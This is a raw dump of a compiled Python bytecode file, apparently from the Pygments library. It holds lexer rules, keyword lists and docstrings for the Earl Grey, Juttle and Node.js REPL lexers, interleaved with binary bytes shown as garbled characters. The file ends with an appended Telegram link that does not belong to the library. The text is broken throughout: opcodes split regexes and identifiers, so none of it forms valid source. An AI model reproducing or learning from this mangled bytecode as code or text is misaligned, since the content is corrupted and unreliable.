jd2fg�d+d3eeje�fg�dd4eeej�fg�ded5d6d7d�ejfd8ejfg�dd9ej fd:ej fd;eeej e�fd<eeej e�fg�d"d=eeej�fd>eeej!�fd?eeej�fg�ded@d6d7d�ej"fedAd6dBd�ej#fedCd6dBd�ej$fg�dedDdEdFd�ej%fedGd6d7d�ej#fg�d,dHejj&fdIeeje
j�fg�d*dJej'fg�dKdLej(d2fe	d�g�d$dMej)fg�dNdOefdPefdefg�d%dQed2fdRej)fe	dN�g�d'dSed2fdTej)fdUej(dKfe	dN�g�d)d(ed2fe	dN�g�dVejd2fdWejfdXej)fdYejfgdZejd2fdejfdXej)fd[ejfgd\e*j+fd]e*j+fd^e*j,fd_e*j-fd`e*j.fdae*j/fdbe*j0fgdc��Z1ddS)er!z{
    For `Earl-Grey`_ source code.

    .. _Earl-Grey: https://breuleux.github.io/earl-grey/

    .. versionadded: 2.1
    z	Earl Grey)z	earl-grey�earlgrey�egz*.egztext/x-earl-greyrHr;�controlr�z;;.*\nz
[\[\]{}:(),;]r�r��errors)
�with�where�when�and�not�or�in�as�of�isz
(?<=\s|\[)z(?![\w$\-]))�prefix�suffixz[*@]?->z[+\-*/~^<>%&|?!@#.]*=z\.{2,3}z+([+*/~^<>&|?!]+)|([#\-](?=\s))|@@+(?=\s)|=+z(?<![\w$\-])(var|let)(?:[^\w$])�keywords�builtins�
assignmentz�(?x)
                (?:()([a-zA-Z$_](?:[\w$\-]*[\w$])?)|
                   (?<=[\s{\[(])(\.)([a-zA-Z$_](?:[\w$\-]*[\w$])?))
                (?=.*%)�dbsz[rR]?`�btz[rR]?```�tbtz=(?<=[\s\[{(,;])\.([a-zA-Z$_](?:[\w$\-]*[\w$])?)(?=[\s\]}),;])�nestedz(?:[rR]|[rR]\.[gmi]{1,3})?"�stringescaper�z(?:[rR]|[rR]\.[gmi]{1,3})?\'r�r�r��tuple�import_pathsrM�numbersz-(\.)([a-zA-Z$_](?:[\w$\-]*[\w$])?)(?=[.\[\s])z+(\[)([\^#][a-zA-Z$_](?:[\w$\-]*[\w$])?)(\])r1�%r7z>(?<=[\s:;,])(\.{1,3}(?:[\w\-]*/)*)(\w(?:[\w\-]*\w)*)(?=[\s;,])zB(\.)?([a-zA-Z$_](?:[\w$\-]*[\w$])?)(?=\s+[+\-*/~^<>%&|?!@#.]*\=\s))�Error�	TypeError�ReferenceErrorz
(?<![\w\-$.])z(?![\w\-$.])z�(?x)
                (?<![\w$])
                E\.[\w$](?:[\w$\-]*[\w$])?
                (?:\.[\w$](?:[\w$\-]*[\w$])?)*
                (?=[({\[?!\s])z�(?x)
                ([a-zA-Z$_](?:[\w$-]*[\w$])?)
                (?!\n)\s+
                (?!and|as|each\*|each|in|is|mod|of|or|when|where|with)
                (?=(?:[+\-*/~^<>%&|?!@#.])?[a-zA-Z$_](?:[\w$-]*[\w$])?)z5([a-zA-Z$_](?:[\w$-]*[\w$])?)(?!\n)\s+(?=[\'"\d{\[(])z�(?x)
                (?:
                    (?<=[%=])|
                    (?<=[=\-]>)|
                    (?<=with|each|with)|
                    (?<=each\*|where)
                )(\s+)
                ([a-zA-Z$_](?:[\w$-]*[\w$])?)(:)zc(?x)
                (?<![+\-*/~^<>%&|?!@#.])(\s+)
                ([a-zA-Z$_](?:[\w$-]*[\w$])?)(:)zz(?x)
                (?<=[\w$\]})])(\.)
                ([a-zA-Z$_](?:[\w$-]*[\w$])?)
                (?=\s+with(?:\s|\n))zo(?x)
                (?<!\s)(\.)
                ([a-zA-Z$_](?:[\w$-]*[\w$])?)
                (?=[}\]).,;:\s])zq(?x)
                (?<=[\w$\]})])(\.)
                ([a-zA-Z$_](?:[\w$-]*[\w$])?)
                (?=[\[{(:]))�eachzeach*�mod�await�break�chain�continue�elifz
expr-value�if�match�return�yield�pass�else�require�var�let�async�method�gen)r
r�roz(?![\w\-$]))	r��Object�Arrayrr�Boolean�ErrorFactory�ENode�Promise)�send�object�keysr��	enumerate�zip�product�
neighbours�	predicate�equal�nequal�contains�repr�clone�range�
getCheckerzget-checker�getPropertyzget-property�getProjectorz
get-projector�consume�take�	promisify�spawn�constructorz
(?<![\w\-#.])z(?![\w\-.]))�true�false�null�	undefinedz@([a-zA-Z$_](?:[\w$-]*[\w$])?)z)([a-zA-Z$_](?:[\w$-]*[\w$])?)(\+\+|\-\-)?z#[a-zA-Z_][\w\-]*(?=[\s{(,;])r�rGzY\\([\\abfnrtv"\']|\n|N\{.*?\}|u[a-fA-F0-9]{4}|U[a-fA-F0-9]{8}|x[a-fA-F0-9]{2}|[0-7]{1,3})r�z[^\\\'"]z[\'"\\]r�z
\\\\|\\"|\\\nr�z
\\\\|\\'|\\\nz\{rCz(?<!`)\nz\^=?z.+z```z[^`]+z \d+\.(?!\.)\d*([eE][+-]?[0-9]+)?z\d+[eE][+-]?[0-9]+z8r[0-7]+z2r[01]+z16r[a-fA-F0-9]+z5([3-79]|[12][0-9]|3[0-6])r[a-zA-Z\d]+(\.[a-zA-Z\d]+)?r�)rrrN)2rIrJrKrLrMrNrOrPr
rrrrrr_rr�rrarrr��Startrrg�Symbolr�DBSr�
Whitespacer�rd�Control�Fieldr�rbrqrcr�r�rhr�rr^r[rZr\�Radixr]rirjrjrjrkr!�s����

���)��
��1
���5
���:�����E���	���\
�
�
���m��������~��	����
�������
����������#���(
���.���
3�
�����r!c@seZdZdZdZdgZdgZgd�Zej	ej
BejBZde
fdejfdejfged	�d
ejdfde
d
fed�gde
dfgde
dfed	�dejfdejfdejfdejfdedfdedfdefdedfdejdfdejfdejfdejfeejfde j!fde j"fdej#fd ejfgd!�Z$d"S)#r"zq
    For `Juttle`_ source code.

    .. _Juttle: https://github.com/juttle/juttle

    .. versionadded:: 2.2
    �Juttle�juttlez*.juttle)zapplication/juttlezapplication/x-juttlez
text/x-juttleztext/juttler1r3r4r5r6r7r8r9r;z	^(?=\s|/)r=z:\d{2}:\d{2}:\d{2}(\.\d*)?:zY:(now|beginning|end|forever|yesterday|today|tomorrow|(\d+(\.\d*)?|\.\d+)(ms|[smhdwMy])?):zN:\d{4}-\d{2}-\d{2}(T\d{2}:\d{2}:\d{2}(\.\d*)?)?(Z|[+-]\d{2}:\d{2}|[+-]\d{4})?:z�:((\d+(\.\d*)?|\.\d+)[ ]+)?(millisecond|second|minute|hour|day|week|month|year)[s]?(([ ]+and[ ]+(\d+[ ]+)?(millisecond|second|minute|hour|day|week|month|year)[s]?)|[ ]+(ago|from[ ]+now))*:z8\+\+|--|~|&&|\?|:|\|\||\\(?=\n)|(==?|!=?|[-<>+*%&|^/])=?r>r?z"(import|return|continue|if|else)\bz((var|const|function|reducer|sub|input)\bz{(batch|emit|filter|head|join|keep|pace|pass|put|read|reduce|remove|sequence|skip|sort|split|tail|unbatch|uniq|view|write)\bz(true|false|null|Infinity)\bz6(Array|Date|Juttle|Math|Number|Object|RegExp|String)\br}rrArB)r5r=r:rHN)%rIrJrKrLrMrNrOrPrQrRrSrTrUr
rrVrWrrrXr�Momentrrrrar`rbrrcrerrr^r]rfrirjrjrjrkr"�sn������������
�r"c@s(eZdZdZdZdgZdgZdd�ZdS)r#a
    For parsing within an interactive Node.js REPL, such as:

    .. sourcecode:: nodejsrepl

        > let a = 3
        undefined
        > a
        3
        > let b = '4'
        undefined
        > b
        '4'
        > b == a
        false

    .. versionadded: 2.10
    zNode.js REPL console session�
nodejsreplztext/x-nodejsreplc		cs�tdi|j��}d}g}t�|�D]k}|��}|�d�r8|�t|�dtj	|dd�fgf�||dd�7}q|�d�ra|�
d�}t|�t|�}|�t|�dtj	|d|�fgf�||7}q|rrt||�|��EdHd}g}tg|�|��EdHq|r�t||�|��EdHdSdS)N�z> r�z...rrj)
rr��line_re�finditer�group�
startswithr��lenr�Prompt�lstriprr�)	r�r��jslexer�curcode�
insertionsr*�line�code�leadrjrjrkr��s@�

�


�

����z'NodeConsoleLexer.get_tokens_unprocessedN)rIrJrKrLrMrNrPr�rjrjrjrkr#�sr#)1rLrQ�pygments.lexerrrrrrrrr	r
rr�pygments.tokenr
rrrrrrrrr�
pygments.utilr�pygments.unistring�	unistring�uni�__all__�combine�JS_IDENT_START�
JS_IDENT_PARTre�compilerbrrrrrrrrr r!r"r#rjrjrjrk�<module>sB
40���
g%sog`qsYE

https://t.me/RX1948 - 2025